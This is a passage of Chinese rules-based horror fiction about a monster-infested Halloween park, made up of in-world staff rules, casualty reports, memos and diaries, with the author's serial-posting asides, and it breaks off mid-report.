    4.未成年人不会参加夜间狂欢,如看见十周岁以下的幼童独自一人朝保安亭接近,不要犹豫,请在距离它二十米外使用麻醉枪。如麻醉枪无效,请换上火力最强的货物。

    5.如果上一条中的幼童有成年人跟随,请在二十米外确认成年人是否为幼童的监护人,若不是或无法确认,对成年人使用麻醉枪后对幼童进行检验。

    6.最有效的检验方法:开火。

    7.如果保安队伍中有人提出要打开大门离开,放弃麻醉,直接将其解决。

    8.保安亭周围不存在任何地下通道口,若有自称售货员的员工接近,请使用火力最强的货物。

    9.每隔半小时与同伴确认一次时间,当某个人提出的时间与其他人不同且误差大于30分钟时,立即将其解决。

    10.在所有人都同意目前的时间为5:30时,请全部换上绿色工作服,接待前来集合的游客,并将同样赶来的角色扮演员工解决。

    11.若有游客提出自己的亲友失踪,应付他们并假意许诺会去寻找。

    12.检查所有到场的游客,若出现十周岁以下的幼童,确认他的监护人在身边,若没有监护人或监护人资格得不到证明,请在其他游客全部离开后对幼童进行检验。

    13.大门是重中之重,无论如何也要死守,绝不能在6:00前开启大门。

    出现在园长办公室的垃圾桶里,不知道是什么人所写且顺序杂乱的《伤亡报告书》

    「8月15日

    “283名游客参与‘夜间狂欢’,结束时幸存84人。

    商店售货员幸存。

    保安幸存3人,死亡17人。”(打印字体)

    “伤亡惨重啊”(略潦草的字体在下方批注)

    “事实上,这还算正常。”(工整的字体回复道)」

    「9月21日

    “217名游客参与‘夜间狂欢’,结束时幸存71人。

    商店售货员幸存。

    保安幸存10人,死亡11人(打印字体)”

    “为什么从来不说那些角色扮演的‘员工’死了多少?”(略潦草的字体)

    “这个问题很蠢且没有意义。”(工整的字体)」

    「8月29日

    “308人参与‘夜间狂欢’,结束时幸存112人,其中有一名幼童通过检验。

    商店售货员幸存。

    保安幸存5人,死亡8人。”(打印字体)

    “通过检验???”(潦草的字体)

    “对,就是你想的那个意思。”(工整的字体)」

    「3月6日

    “102人参与‘夜间狂欢’,结束时幸存36人。

    商店售货员幸存。

    保安幸存6人,死亡5人。

    一名角色扮演的员工死亡。”(打印字体)

    “怎么这回提起角色扮演的员工了?而且只死了一个,不可能吧?”(略潦草的字体)

    “那个倒霉鬼是真正的员工,他睡着错过了下班时间,结果在‘夜间狂欢’时被游客干掉了。”(工整的字体)」

    「5月3日

    “336人参与‘夜间狂欢’,结束时幸存97人。

    商店售货员死亡。

    保安幸存8人,死亡6人。”(打印字体)

    “售货员怎么死的?他不是有地下通道吗?”(潦草的字体)

    “你知道开启通道后按黑色按钮会怎么样吗?”(工整的字体)」

    「7月15日

    “159人参与‘夜间狂欢’,结束时幸存50人。

    商店售货员幸存。

    保安幸存10人,死亡20人。”(打印字体)

    “那什么幽灵船不是昨晚跟岸上的游客对拼炮击拼输了吗?怎么白天还好端端地停在那儿?(潦草的字体)”

    “不是同一艘船。”(工整的字体)」

    「6月8日

    “198人参与‘夜间狂欢’,结束时幸存62人

    商店售货员幸存。

    保安幸存13人,死亡1人。”(打印字体)

    “那死的一个保安……”(略潦草的字体)

    “对,他被侵蚀了。”(工整的字体)」

    「12月16日

    “86人参与‘夜间狂欢’,结束时幸存11人。

    商店售货员幸存。

    保安幸存1人,死亡9人。”(打印字体)

    “9个人全被侵蚀了?”(潦草的字体)

    “事实上没有人被侵蚀,活着的那个看错了时间,以为那9个人出了问题,所以把他们全干掉了。”(工整的字体)」

    「12月17日

    “92人参与‘夜间狂欢’,结束时幸存13人。

    商店售货员死亡。

    保安幸存10人,无人死亡。(打印字体)”

    “最后那保安怎么处理?(略潦草的字体)

    “重金雇佣并配了副高精度眼镜。(工整的字体)”」

    「5月30日

    “139人参与‘夜间狂欢’,结束时幸存29人。

    商店售货员死亡。

    保安幸存6人,死亡11人。”(打印字体)

    “我有个很蠢的问题:为什么游客死亡率那么高,他们还不知死活地来狂欢?”(略潦草的字体)

    “好问题,我只能告诉你,这地方不是固定的。(工整的字体)”」

    《怪物简介(其一)》

    所有怪物都有一个通用的解决方法:火力全开。

    若上一条并不奏效,请尽量增强火力,直到奏效为止。

    1.哥布林——弱小但数量繁多的怪物,没有特殊的据点,几乎在哪都能看见,可以使用冷货物殴打致死,但要小心别陷入它们的包围网。如果你对它们的身材感到怀疑,认为不可能是穿着皮套的员工,请放心,它们只是仿真人偶,我们有足够的科学技术让它动起来。

    2.兽人——大部分为猪人,也有少部分是其他什么动物。身材高大但很笨重,可以被冷货物殴打致死,但最好还是对它开几枪,因为它们不会躲避子弹。

    3.海妖塞壬——据点在园区西边的“塞壬海角”,不建议听力健全的人前去,用狙击枪或者远程炮击是个好办法。如果你执意想去听听它的演唱会……后果自负。

    4.幽灵船员——“塞壬海角”往北有一艘幽灵船,那是它们的据点,同样不建议接近,更不建议登船,船员们会在你出现在它们视野范围内时进行炮击。具体的范围?谁知道呢,我只能说它们有一架不错的望远镜。

    5.幽灵船长——船员们的老大,似乎比船员们更厉害一点,但到底是不是这回事没人知道,因为没有人会选择炮轰以外的方法对付它们。

    6.弗兰肯斯坦——臭名昭著的科学怪人,如果不小心误入了它的实验室,你可要当心了,它似乎致力于为自己增加同类。显然从外面扔催泪瓦斯是个好主意,你会看到弗兰克斯坦怒气冲冲地跑出来,然后再次被门口埋着的地雷炸个四分五裂。

    7.吸血鬼——居住在德古拉城堡里,基本上不会外出,除非外面已经血流成河了,鲜血的味道会把它们吸引过来。如果那场景是狼人造成的话……你会有一次绝妙的观影体验。

    8.德古拉伯爵——德古拉城堡的主人,实力超群的吸血鬼,虽然它没有几百万条命,也不会放出亡者组成的河流,但它仍然是个巨大的威胁。不要偷偷摸摸地潜进城堡、撬开它的棺材,你不是范海辛!

    9.狼人——会在月圆之夜咆哮的人型野兽,与吸血鬼是死敌,但这不代表它们对人类友好。商店有提供专门对付它们的银质子弹,如果你对自己的射击技巧没有信心的话,试试银珠手雷如何?

    10.憎恨血肉——比较特殊的怪物,只会在“夜间狂欢”进行到一半之后出现,由各种人类的残肢断腿、头啊内脏啊什么的组成,也许你会在其中发现熟悉的面孔……不要担心,只是道具而已。

    11.地狱三头犬——据点位于园区最南方的地狱大门,名副其实的看门狗,请不要试图用骨头喂它,它显然对投食者更感兴趣。你想知道门后的是什么?先过了刻耳柏洛斯这一关吧。

    12.克拉肯——园区西边的海底沉睡着这头巨兽,北海巨妖、挪威海怪都是它的别名。请不要往海水里投炸弹去打扰它,一般也没人会这么做,除非你和幽灵船的炮击战把它吵醒了……如果是那样的话,你们二者都倒了大霉。

    13.白骨夫人——虽然游客守则禁止你对游客们开火,但也不要因此让白骨夫人钻了空子,它会伪装成正常人类接近你,然后让你“出局”。对策?没什么好对策,小心陌生人就是了。

    视频文件《VID_20201127_213820.mp4》

    备注:某位游客僵硬的手死死握着一个手机,我们的工作人员拿到后发现此手机正在录像,视频文件已被提取,手机则被处理掉。

    视频大致内容:

    镜头摇摇晃晃且模糊不清,四周尽是枪炮声、叫喊声,录视频的人显得非常慌张,他在四处奔逃但并没有明确目标。

    “地图……地图……地图……地图……”

    他一边念叨着一边颤抖地打开游客守则,上面明确显示出公园大门的位置,但他显然不明白此时自己身在何处。

    “那是……那是商店吧?对!对!我之前在那儿拿了把枪……售货员说这是仿真枪,他妈的鬼才信啊!这是仿真枪?这是仿真枪?”视频中传来几声剧烈的枪响,“这他妈能是仿真枪!??”

    “不管这个了……商店在……在……在……在这!对,地图这个位置……然后我需要往这边走……但是得先去拿点保命的东西……”

    镜头开始大幅度向商店和地图之间来回转动。

    巨大的爆炸声传来,他哀嚎一声,手机也掉落在地上。

    “商店……商店……爆炸了??!!!”手机被捡起,镜头重新对准爆炸后的废墟,“这要怎么办……我,我只有这一把枪……子弹还有多少,子弹还有多少……”

    镜头没有朝向拆开后的弹夹,但从男人绝望的嚎叫中推测出,剩余子弹数不多于一发。

    “拼了……拼了,拼了!”

    男人使劲为自己加油打气,正要出发,却被身后的声音叫住。

    镜头向后转去,一个十岁左右的小男孩出现,努力做出害怕的表情。

    “你家大人呢?你走丢了?”

    男人努力让自己的声音镇定下来。

    “这,这样啊,没关系,你跟着我走,我知道怎么出去!快,握住我的手,千万别送开,我们要跑过去!”

    随后的镜头大幅度摇晃且看不清,推测是男人在高速跑步,随后镜头突然从有规律的摆动中静止一刹,接着是疯狂地摇晃和一声枪响。

    “我拖住它了!!你快跑!往那边跑!!”

    镜头被什么东西遮住,直到二十秒钟后突然朝向天空,四周的枪炮声还在继续,但男人已无了声息。

    同样出现在园长办公室的垃圾桶里,各式各样的“申请书”

    「《辞职申请书》申请人——某保安

    “一律批准”(略潦草的字体)」

    「《辞职申请书》申请人——某售货员

    “申请原因居然是幽闭恐惧症?他不觉得待在玻璃罩子里很安全吗?”(略潦草的字体)

    “奇怪的理由,上一任售货员就正常多了。”(工整的字体)」

    「《关于补充枪支弹药的申请》 申请人——采购部

    “一律批准,这些东西绝不能缺了”(略潦草的字体)

    “另外多采购些白磷弹,效果似乎不错。”(工整的字体)」

    「《关于新增各种载具的申请》申请人——采购部

    “装甲车、坦克、武装直升机……你觉得正常游客会驾驶这些?”(略潦草的字体)

    “飞行载具会增加怪物逃离园区的可能,绝不批准。”(工整的字体)」

    「《关于新增巨型人形兵器的申请》申请人——采购部

    “得寸进尺!”(潦草的字体)

    “把采购部负责人降职为保安。”(工整的字体)」

    「《关于扩招员工的申请》申请人——人事部

    “为什么要扩招角色扮演的员工?他们应该是最安全的。”(略潦草的字体)

    “现在不是了。”(工整的字体)」

    「《关于提高清洁工薪资的申请》申请人——保洁部

    “批准。有件事我很好奇,那些游客尸体是怎么处理的?”(略潦草的字体)

    “秘密。”(工整的字体)」

    《观察员守则》

    1.工作地点为位于地下的监控室,通过刷卡乘坐电梯进入,请注意,电梯被设置成只在6:00—17:50工作,所以务必在“夜间狂欢”开始前10分钟进入电梯。

    2.观察员一般为四人,分别负责监控东、西、南、北四个园区。

    3.请将观察到的“值得注意”的事件记录在《观察员日记》中,例如■■货物消灭的怪物最多、■■怪物表现出了对■■货物的惧怕等。

    4.当某个监控摄像头被破坏时,请将损坏原因记录在《观察员日记》中。

    5.若观察到某地出现十周岁左右的幼童,且身边没有成年人跟随,立刻联系保安亭,让他们做好处理准备。

    6.若负责联系保安亭的观察员提出开启大门的要求,请对他使用右下抽屉里的麻醉枪。

    7.观察员需要过硬的心理素质,时刻告诉自己看到的全都是演出效果,事实上的确如此。

    8.若上一条无法做到,请尽快辞职。

    某本《观察员日记》(部分)

    「4月14日

    一群游客疯狂抢拿铝热剂燃烧手榴弹,跑到“九头蛇沼泽”朝里面的海德拉投掷,老实说这可比火把有用多了,它的九个头被烧的渣都不剩。」

    「7月15日

    幽灵船朝岸上的游客不停开炮,它的威风一直持续到游客们拉来了郁金香自行迫击炮。随后他们大受鼓舞,又把郁金香拉到了德古拉城堡。」

    「7月30日

    商店的监控摄像头被损坏,原因未知,最后的记录是米诺陶洛斯出现在商店,机枪群扫射无效。之后售货员镇定自若地打开地下通道,按下了黑色按钮,录像戛然而止。」

    「8月15日

    吸血鬼和狼人的旷世大战开始了,我们四个人聚在一起赌哪边能赢,他们都赌狼人,而我狠狠地赚了一笔。」

    (下方非常潦草的字体写道:就因为你们玩忽职守,没有通知保安幼童的出现,才导致他们死伤惨重!所有人,明天给我滚去保安亭!)

    《清洁工守则》

    1.工作时间为5:30——6:00

    2.清洁工数量不少于20人

    3.请穿戴橙色工作服,每人配备一台火焰喷射器,并保证燃烧瓶、铝热剂手雷等燃烧货物准备充足。

    4.也不要忘了垃圾车、消防车和高压水枪。

    5.在“夜间狂欢”结束前30分钟时,园区内所有游客的尸体(无论是否完整)、血液,都会朝着一个目标点快速爬行,它们将融合成一个巨型的憎恨血肉。

    6.巨型憎恨血肉在彻底融合完毕时不会移动,趁此时形成一个包围圈,确保它在火焰喷射器的范围内。

    7.尽量在6:00前结束工作,若实在无法完成,请联系保安推迟“昼间游览”开始时间。并在6:00后控制燃烧范围,出现建筑物、人员着火情况时,立即使用高压水枪及消防车。

    8.请将充分燃烧后的残余物装进垃圾车,但不要倒进垃圾桶,把它们运到开发部大楼,会有工作人员协助处理。

    9.阻碍巨型憎恨血肉的融合没有意义,将它们一网烧尽是最好的办法。

    10.巨型憎恨血肉的出现位置并不固定,跟随着那些残肢断腿即可,如果你们由于种种原因无法找到,请及时联系观察员。

    11.你的目标只有巨型憎恨血肉,其他什么也不要管。如途中遇到角色扮演员工,请无视它们并快速离开,绝对不要与它们对视。

    12.若途中遇到十周岁左右的幼童,请同样无视,并在离开后通知保安。

    13.坚信一切都只是表演效果,自己手中的只是道具。

    首先感谢这么长的回复(ゝ∀・)

    我想了想这串也不是纯解密的,所以透露一些也无妨(

    关于憎恨血肉,它并不是关底boss,而是每次狂欢结束后的一个“保留节目”,是某种异常对人类反抗的报复行为。

    但对于可靠的高层们来说,这项报复也被他们有效利用了……

    再者5:30—6:00这半个小时非常重要,幸存游客需要在这段时间集合等待开门,保安需要保护游客并解决追过来的怪物,所以负责对付巨型憎恨血肉的只有清洁工。由于火焰对憎恨血肉非常有效,所以清洁工在所有战斗员工中是死亡率最低的,几乎可以忽略不计,当然前提是操作妥当、完全按照守则

    关于《伤亡报告书》

    每一份报告的日期只有一个意义,就是尝试与后面的《观察员日记》等文件对照,单纯按照日期排序是没用的,因为不知道是不是同一年,所以“游客死亡率”如何变化也看不出来

    被妥当放置在园长办公桌抽屉里的部分文件

    一页被撕下来的《观察员日记》

    「6月1日

    我通过摄像头E4发现了无成年人跟随的幼童,已通知保安亭,但是……我看到的场景很奇怪:

    有两个年龄相似的孩子,一个坐在地上号啕大哭,另一个站在他对面,静静地看着他,一动不动。大概十五分钟后,哭着的孩子被狼人残忍地……

    而另一个在这之后转身离开。

    “它在学习。”(工整的字体)」

    「《关于新建瞭望塔的申请》申请人——建筑部

    大致内容如下:鉴于保安A先生杰出的工作能力,我部在与人事部商议后,提议于保安亭后方修建一座高约20米瞭望塔供A先生使用,同时在塔内配备L11■A■型狙击枪。

    “我记得他不是个近视眼么?”(略潦草的字体)

    “我们给他配的是远视眼镜。批准。”(工整的字体)」

    「《关于保安A先生的近期工作报告》——人事部

    大致内容如下:瞭望塔建造完毕后,保安的死亡率大幅度下降,A先生多次为我们展现了出类拔萃的工作能力。虽然他的近战水平也十分高超,但我们认为他更适合在高处作战。

    “优秀的人才,不过我听说他有次值班时一枪做掉了2000米外的海妖塞壬,请禁止这种行为。”(工整的字体)

    “为什么这也禁止?”(略潦草的字体)

    “因为塞壬除了唱歌什么都不会干,对公园大门没有丝毫威胁,所以请他不要把注意力放在这种无关痛痒的角色上,也请你不要再提出这种愚蠢的问题。”(工整的字体)」

    「《关于保安A先生的请假申请》——人事部

    大致内容如下:于今日的“夜间狂欢”中,A先生严重负伤,被紧急送往医务部急救,目前已脱离危险,但情况不容乐观,需要长期的休养。

    “批准。”(略潦草的字体)

    “我们又一次挺过了‘血月日’。(工整的字体)”」

    每一名游客手里都有张A4规格的彩色宣传单,标题处用极粗的字体写着“重磅消息”。

    「重!磅!消!息!!

    一年一度的“血月日”开始啦!我们的“夜间狂欢”将会更加有趣!

    正在看这张宣传单的游客,请您务必、一定、绝对要来参加我们的血月日!

    什么?您不知道什么是血月日?

    哎呀,血月日是我们公园最盛大的节日(没有之一!),在当天晚上,可以看到如血一般鲜红的月亮!

    园区所有景点,全部开放!连地狱大门都有机会进去哦~(小声)

    所有货物,全部开启供应!我们将拿出压箱底的宝贝,拒绝冷货物,重火力才是男人的浪漫!

    所有工作人员,倾情为您服务!它们会比平常更加热情!

    而且而且而且,绝对够份量的神秘角色,保证能带给您无尽的惊喜!

    带着您的家人朋友一起,快来参加我们的血月日吧!

    注:血月日期间,“夜间狂欢游客守则”作废。」

    每一名“夜间狂欢”员工手里都有张A4规格的黑白通知,标题处用极粗的字体写着“紧急通知”

    「紧急通知

    血月日于今晚开始,请所有员工做好迎战准备,现作出如下调整:

    1.保安数量增加至一百人以上,造成的人员损耗随时由开发部、保洁部、人事部、采购部、医务部等所有部门的基层工作人员补上。

    2.商店开启所有货架,冷货物下架,大量增加重火力货物,售货员前往保安亭值班。

    3.观察员增加至12人,随时与其他部门联系,报告“未知巨物”的动向。

    4.告知“昼间游览”工作人员,极力劝导游客参加“夜间狂欢”。

    5.郁金香等重型炮不再向游客提供,全部用来保卫大门,务必严防死守。

    6.幼童一律击毙,不存在特殊情况。

    7.关于“未知巨物”,由于每次血月日出现的都不一样,我们尚不清楚此次的来者,但是无论出现的是什么,请保持理智,服从命令。

    6.本通知仅为初版,依情况所需随时下放新通知,请保持通讯正常。

    7.我们以每位工作人员为荣,各位都是人类的英雄。」

    园长办公桌最下层抽屉里的唯一一份文件

    《关于某昼间角色扮演员工死亡的调查报告》

    大致内容如下:

    「该员工为吸血鬼扮演者,尸体出现在德古拉城堡地下室的纯黑色棺材内,全身血液被抽干,脖颈上有两个直径约1.5毫米的小孔,与“夜间狂欢”中受吸血鬼袭击死亡的游客极度相似。

    据与该员工一同工作的同事表述,事发当天他亲眼看到该员工换好服装上班,并与多位游客合影,可排除死于“夜间狂欢”的可能。

    可惜的是,地下室内摄像头于“夜间狂欢”中受到破坏,无法录像。

    根据城堡门口的摄像头排查当天所有出入者,未发现可疑人员。

    随后我们对城堡进行了三次地毯式搜索,也同样没有任何发现。」

    “情况相当严重……通知所有高层召开紧急会议。”(潦草的字体)

    “希望这只是特例,而不是趋势。”(工整的字体)

    放置在园长办公桌上的一份文件:

    「《关于在昼间播撒“灰烬”的提议》——开发部

    在“血月日”之后,我部得到了大量“残余物”,并进一步加工为“灰烬”,足以在相当长的时间内保证供应。鉴于出现昼间角色扮演员工被害的情况,我部有工作人员提出是否应当在“昼间游览”中也播撒适量的“灰烬”?

    “目前看来,暂时没有必要。”(工整的字体)

    “‘灰烬’到底是什么东西,我想我应该有知情权。”(略潦草的字体)

    “简单来说,是那些游客的骨灰,开发部一直以来在‘夜间狂欢’开始前的半小时内通过无人机将这些骨灰撒向除大门附近外的每一个区域。骨灰能干扰怪物们的认知,让它们觉得到处都是猎物,这就是很少有怪物冲向大门的原因。”(工整的字体)

    “骨灰????为什么要瞒着我?”(杂乱的字体)

    “怕你被恶心到,事实上,除开发部以外没人知道无人机撒的是什么。”(工整的字体)

    “我确实被恶心了……不过说实话,想出这点子的人真他妈是个鬼才。(潦草的字体)”

    “你的上一任也这么夸赞过。”(工整的字体)」

    No.44990351

    德古拉伯爵只有一个,但吸血鬼会有多名员工扮演。

    只有在“夜间狂欢”中死亡的人类会变成憎恨血肉。

    「《昼间角色扮演员工守则》

    1.工作期间必须穿戴全套服装,不可在有游客的场所擅自脱下。

    2.早班工作时间为6:00——11:30,午班工作时间为12:00——17:30。鉴于几乎没有游客会在6:00入场,可适当迟到三十分钟,但绝对绝对不要早到。

    3.请准时下班,不接受任何理由的加班申请。

    4.同样不接受“夜间狂欢”的工作申请。

    5.若你由于个人原因在18:00之后还没有下班,请立即脱下演出服装,不顾一切地前往公园大门,向保安们表明身份后求助。

    6.或者,你可以以“游客”的身份参加我们的狂欢,我们更加建议这么做。(此时你需要遵守《夜间狂欢游客守则》。)」

    在守则最下方又增加了最新两条:

    「7.如果在工作期间发现了举止过于怪异或有强烈攻击性的同事,请立刻逃离并向保安亭报告。

    8.仔细注意周边环境,当某个同事凭空冒出来时,同上。」

    保安亭桌子上有一封手写的、篇幅很长的《辞职申请书》,一开始的笔迹还算正常,从中间开始则越来越狂乱,某些部分甚至力透纸背。另外,还有几处水滴造成的褶皱。

    「《辞职申请书》

    尊敬的园长:

    您好!

    首先致以我深深地歉意,怀着极其复杂而愧疚的心境,我写下了这封辞职信。

    我于■月■日入职,至今已工作一周有余,这期间我参加过八次“夜间狂欢”,所以我对这个公园已经有了初步的认识。我的工作是什么、职责是什么、身份定位是什么、那些张牙舞爪的“员工”又是什么,这些我都清楚。

    每次工作,身边的同事没有一个是熟悉的,因为他们要么是牺牲了、要么是辞职了,总之没有一个能正常地值第二次夜班。我明白自己再这样工作下去也只有死路一条,心中也有过多次挣扎,但最终还是坚定地迎接每一场“狂欢”。说来可笑,为了心中的正义而牺牲什么的,早就不是现代人的价值观了,可我还是……

    想笑的话就笑吧,我已经习惯被人嘲笑了,炮灰根本没资格谈什么成为英雄,这点自知之明我还是有的。但即使是这样,我仍然选择继续与它们战斗。萤火虫的光芒再小,也能为旅人照亮一丁点的黑暗,这就是它存在的意义。

    这种信念一直支撑着我,直到某次“狂欢”中,我看到了本该在前一天被我们击杀掉的弗兰肯斯坦。

    我没看错,我绝对没有看错,同样的身形、同样的衣着、同样的缝合线、同样的恐怖、同样的邪恶。就算再怎么难以接受,事实始终是事实。从那天起我的信念就开始动摇了,在与同伴一起击杀掉特殊个体时,我总会凑上前去仔细观察,记住它们的脸,领导禁止我们使用手机拍照和录像,所以我只能用这种笨办法。

    是的,我确实在下一次的“狂欢”中找到了它们。

    (笔迹从这里开始狂乱)

    那些高等级的怪物,它们根本就不会死!就算被崩掉脑袋、就算被打穿身体、就算被炸弹炸的支离破碎血肉模糊!它们第二天还是会活蹦乱跳地朝我们冲过来!还有那些怪物的据点也是同样!什么德古拉城堡,被大炮轰塌了也会复原!还有什么幽灵船,被击沉了也会再浮上来!一开始我还天真地以为是建筑工们效率太高了,我真蠢!!哥布林这种低级杂兵我不知道是不是也能同样复活,但这种问题没有意义,是又如何不是又如何,它们根本就杀不完!杀了一堆,第二天又会蹦出来一堆!

    我自以为是的信念,连屁都算不上!它们根本就杀不死,杀不完!这场战争永远没有尽头!我们的牺牲对它们来说无关痛痒!!

    (笔迹重新平稳)

    我可能……没有很好地表达出我的想法……但这也无所谓了……现在我只想着离开……请批准我的申请。

    对不起,我真是个胆小鬼。

    申请人:■■

    ■月■日」

    申请书下方的文字:

    「“批准。你是人类的英雄,你对公园乃至于全人类的贡献,我们会永远铭记在心。”(比较工整的字体)

    “请您记住,员工的牺牲并非没有意义,我保证。”(非常工整的字体)」

    《关于调整部分夜间守则及建筑的通知》

    1.建筑部立刻将商店的地下通道打通,连接至保安亭后方,同时将黑色按钮更改至靠近地道出口的墙壁上。(这么做也许会耽误一些消灭怪物的时间,但请相信这绝对值得。)

    2.《夜间狂欢保安守则》第8条删除,更改为“在确认售货员身份后将其接入保安亭”。

    3.《夜间狂欢保安守则》增加第14条,为“时刻盯紧地道口,售货员只会从那里出现,如若不然请使用火力最强的货物”。

    4.新增“离职补助金”,为辞职的夜间员工提供。

    5.禁止保安接触或近距离观察特殊怪物尸体。

    6.本通知仅面向各部门高层。

    “我们需要回顾自己的所作所为。”(略潦草的字体)

    “所有奋战在一线的人都值得尊敬。”(工整的字体)

    《各部门员工总则》

    1.本总则适用且仅适用于所有部门员工。

    2.员工宿舍、食堂等生活设施皆位于地下,请不要在白天到地上园区闲逛。

    3.若处于休假期间,可以身着便装前往地上园区。

    4.各部门员工需身穿不同颜色的制服,详情请见各个部门的员工守则,若不小心穿错了,及时换下来即可。

    5.请务必身着员工制服执行外出任务,制服非常重要,切忌丢失,否则无法返回公园。

    6.不要妨碍其他部门的工作,当你认为某部门的行为实属不妥时,请向园长或执行园长投诉。

    7.关于辞职和调离,一线人员的申请需园长或执行园长批准,其他部门员工需部门负责人批准。

    8.各类面向园长或执行园长的申请、提议、报告、投诉等文件,需前往园长办公室,投入门口的黑色信箱。非特殊情况,不得进入办公室。

    9.以上文件的审批结果会通过电子邮件的方式发送至各部门,请注意查收。

    《关于“昼间游览”第二次出现怪物的调查报告》

    大致内容如下:

    「自初次发现昼间员工被害以来,时隔63天,我们再次发现有怪物入侵“昼间游览”。

    据监控视频显示,该怪物为矮小的猪人,出现方式与“夜间狂欢”时相同,并立刻展现出强烈的攻击性。

    幸运的是,猪人的袭击目标为正在园区内复健的夜间保安A先生,被其轻松拿下。随后猪人出现异常情况,身体逐渐透明化乃至消失,出现时长约为21秒,整个过程无人员伤亡。

    另附:A先生提出重回岗位的要求,但主治医师认为他应该再等半个月。」

    “两个月出现一次,持续20秒钟,看来情况还算乐观。”(略潦草的字体)

    “不能大意,加强昼间巡逻,另外尊重主治医师的意见。”(工整的字体)

    狂欢夜一天一次,每次都会造成严重破坏和人员伤亡,特遣队的补充根本跟不上损耗,所以只能找大量炮灰来应对。

    不是“游乐园”是必须的,而是“原本的大门”是必须的。

    究其根本是我一开始对世界观没怎么认真想过,现在也是想到哪写到哪,而且有个bug存在我还没想好该怎么圆,不知道你们发现没有( ´ー`)

    《部门员工入职指南》

    欢迎你,我们的新员工,接下来这份指南会为你介绍你即将进行的工作,并帮助你了解你的同事们。

    “部门员工”又称内部员工,与一线人员和闲杂人等不同,具有一定的知情权,相信你已经对我们公园有了初步的了解,知道自己在与什么对抗。

    作为部门员工,你基本不会前往一线,除非面临“血月日”,或者成为一名清洁工。所以,你的人身安全大(致)可(以)放心。

    部门简介——

    1.建筑部:负责维修、重建损坏的建筑物以及新建工程。

    2.开发部:负责新式武器、技术、材料等的研发工作,以及出台应对各种怪物的措施。

    3.人事部:负责对外招聘员工(无论是昼间还是夜间)以及登记并保存所有员工的档案资料。

    4.采购部:负责外出采购常规武器弹药及各类物资;下设后勤部,为员工们提供后勤保障。

    5.财务部:负责管理整座公园的财务状况,将资金按要求和规定分配到各个部门;并发放员工工资,无论昼夜。

    6.保洁部:负责消灭巨型憎恨血肉,以及地下园区的日常清扫工作还有回收每次狂欢过后的武器弹药。地上园区的清扫不属于保洁部的工作。

    7.调查部:负责调查并报告各类怪物的能力、特点等,以及调查并解决其他异常情况,观察员受此部门管辖。

    8.医务部:负责医治受伤、生病的员工,对于游客也会提供人道主义援助。

    再次欢迎你的加入,祝你好运!

    注:1.除清洁工外,其他一线人员直属于园长和执行园长。

    2.部长为各部门负责人,受园长和执行园长管理。

    3.昼间角色扮演员工、昼间清洁工、导游等“昼间游览员工”就是所谓的“闲杂人等”。

    以下皆为“血月日”期间的监控录像、录音文件。

    位于大门附近的摄像头B11:

    百名保安和身穿不同颜色制服的人员严阵以待,他们面前摆放着多台高射机枪、迫击炮等重型武器,此时远处突然出现一声巨响,所有人的目光都转向了西边的海岸线。保安们开始显得慌乱、窃窃私语,但很快被部门员工制止。

    位于塞壬海角附近的摄像头W03:

    (注:为避免观看者受到塞壬影响,本摄像头未安装拾音器)

    依稀可看到幽灵船朝着远处的海域开炮,那儿的水面开始向上凸起,最后一颗巨大无比的蛇头从海里冒出,引发的滔天巨浪瞬间打翻了幽灵船。塞壬表现出非常恐慌的情绪,它停止演唱,立刻跳入水里,直到最后也没再出现。

    蛇眼冒出幽绿的光芒,在黑暗中尤为显眼,它巨大的脑袋开始四处张望,最后以大门为目标,从海中不断拖出身体。

    监控室打给保安亭的部分电话录音:

    “……未知巨物从海中出现!未知巨物从海中出现!”

    “我们他妈早看见了!说点有用的!”

    “目前未知巨物向大门行进,初步判断已进入最大射程范围,可以开始攻击!”

    “了解!”

    “还有……东部园区的怪物们也朝大门跑过去了!!”

    (电话被挂断)

    位于海岸附近的摄像头M09:

    近半数战斗人员向这里进发,采取迂回战术,吸引“未知巨物”注意。在海岸待命的20台迫击炮调转炮口,朝“未知巨物”开火以掩护战斗人员,但效果并不是很好。

    位于大门附近的摄像头B10:

    保安A和其他人向涌来的怪物开火,此时一只食尸鬼绕后爬上瞭望塔并偷袭了他,保安A被迫与食尸鬼展开肉搏,最后奋起一脚将食尸鬼踹下瞭望塔。

    《关于本次“未知巨物”的调查报告》

    1.据初步判断,本次“未知巨物”的真身为耶梦加得。

    2.没有观察到传送门的出现位置,推测在海底。

    3.耶梦加得出现时间共143秒,与上一次相比延长了22秒,随后主动消失。

    4.耶梦加得出现后,园区内的部分怪物明显做出了“跟随”的行为,朝耶梦加得的行进方向前进。也有部分则显露出“敌意”、“不安”等,具体原因不明。

    5.耶梦加得有明确前往大门的意愿,初步推测原因为大门是距离它最近的大量人类聚集地,判断依据是其他“未知巨物”并没有过多关注大门。

    6.或者,它就是为了破坏大门。

    另:幼童在本次血月日中出现,与怪物们一同前往大门,然后被炸成了碎肉。

    “希望你们以后能全查清楚了再报告。”(潦草的字体)

    《关于尝试与怪物进行“沟通”的提议》——开发部

    大致内容如下:

    「据观察,虽绝大部分怪物有着强烈的攻击性和杀戮欲望,但也有极少数的怪物相对来说比较冷静甚至拥有理性,我们提议与这部分怪物进行沟通尝试。

    我们经过层层筛选,认为最合适的目标为刻耳柏洛斯,这位三头犬先生以地狱大门为据点,从不离开它超过10米的距离,也不会主动袭击人类(除非他靠近地狱大门)。

    而且经过长期观察,我们惊讶地发现,刻耳柏洛斯极有可能具有高度理性:它经常卧在地上,戏谑地看着远处被怪物追赶的人类,当人类躲起来时,甚至会吠叫两声、朝人类的方向仰头以提醒怪物。而当怪物拼命逃离一群拿着突击枪和手雷的人类时,刻耳柏洛斯显得更加兴奋,在怪物被打成筛子后,它会用两只前爪拍击地面,疑似鼓掌。

    更重要的是,刻耳柏洛斯并不对其他怪物友善,它也会杀死靠近地狱大门的任何怪物,这在怪物中十分少见。

    我们知道这份提议非常大胆,但这正是我们开发部的特点,不是吗?

    另注:虽然塞壬小姐也没什么攻击性,但它一直都在唱歌,基本没有沟通可能。」

    “怎么跟它沟通?去博物馆偷根恐龙骨头讨好它吗?还是去马戏团里找个精通狗语的家伙?”(潦草的字体)

    “请制定非常详细的沟通方案,否则不予批准。”(工整的字体)

    万圣节公园快要临近尾声了,大约剩下四分之一的内容。

    到时候结合全文很容易推出来这个公园的真相

    《关于与刻耳柏洛斯沟通的结果报告》——开发部

    大致内容如下:

    「首先感谢执行园长,若没有您宝贵的意见,我们不可能取得如此成果。

    0:30,我部率领本次沟通实验的全体参与人员抵达地狱大门前10米处,在确定刻耳柏洛斯正在警戒着我们时,我们正式开始沟通实验。

    实验步骤如下:

